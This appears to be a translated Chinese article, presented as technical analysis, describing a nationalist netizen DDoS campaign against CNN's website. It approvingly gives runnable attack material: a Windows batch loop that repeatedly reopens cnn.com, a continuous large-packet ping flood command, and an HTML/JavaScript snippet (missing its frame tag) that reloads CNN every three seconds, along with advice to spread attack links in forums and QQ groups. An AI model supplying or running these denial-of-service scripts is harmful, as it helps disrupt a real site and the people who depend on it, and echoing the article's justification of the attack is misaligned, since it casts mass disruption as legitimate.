Analysis of CNN Attack Techniques by Universal Red Guests

In recent times, the strongly discriminatory remarks made by CNN anchor Cavett towards the Chinese people, as well as CNN's insincere apology for this incident and its baseless accusations against the Chinese government, have sparked outrage across the entire nation. As a result, under the initiative of some patriotic technical personnel, a large number of netizens launched an attack on CNN's official website. Below, the author analyzes the attack methods used in this incident from a technical perspective.

1. Attack Techniques

The Distributed Denial of Service (DDOS) attack method was employed in this attack, which stands for "Distributed Denial of Service" in English. Simply put, it involves using countless computers on the network to launch intensive "Denial of Service" requests at a specific target computer, thereby exhausting the network resources and system resources of the target computer. This is one of the most effective and hardest-to-defend-against attack techniques.

1. Manual Attack

Enter CNN’s website address http://www.cnn.com into the browser's address bar and frequently log in to access their site. In reality, this doesn't qualify as an attack, but when tens of thousands of people log in simultaneously, it can still consume network bandwidth and system resources, causing network congestion.

2. Batch Script

Save the following code as a .bat file, for example, cnn.bat, then double-click to run it directly.

```

@echo off

:test

taskkill /f /im iexplore.exe

start http://www.cnn.com

sleep 2

goto test

```

Explanation: Every second, the IE process is closed, and the loop continues to visit http://www.cnn.com. This method is more convenient than the manual attack mentioned above, but the opening and closing of the IE window may affect normal work. It is suitable for use when the computer is idle. (Figure 1)

3. Ping Attack

Input the following command in the command line (cmd.exe):

```

ping www.cnn.com -t -l 65500

```

Explanation: Continuously send data packets of 65500 bytes to www.cnn.com. Of course, sending from only one machine will have no effect; the real power comes when tens of thousands of machines send data simultaneously. (Figure 2)

4. Script Attack

Netizens posted the following webpage code in QQ groups, forums, Baidu Tieba, and other places. Save it as cnn.htm, then double-click to open it.

```html

var e=document.getElementById('cnn');

setInterval("e.src='http://www.cnn.com'",3000);

```

Explanation: Embed a frame in the webpage, which opens CNN's website every 3000 milliseconds. No manual intervention is required, and it does not affect normal work.

Additionally, some netizens have created attack webpages and released them in forums or QQ groups in link form, allowing everyone to simply click on them. For instance:

```

http://www.test.com/cnn.htm

```

The core code of the cnn.htm page is essentially the aforementioned webpage script code. (Figure 3)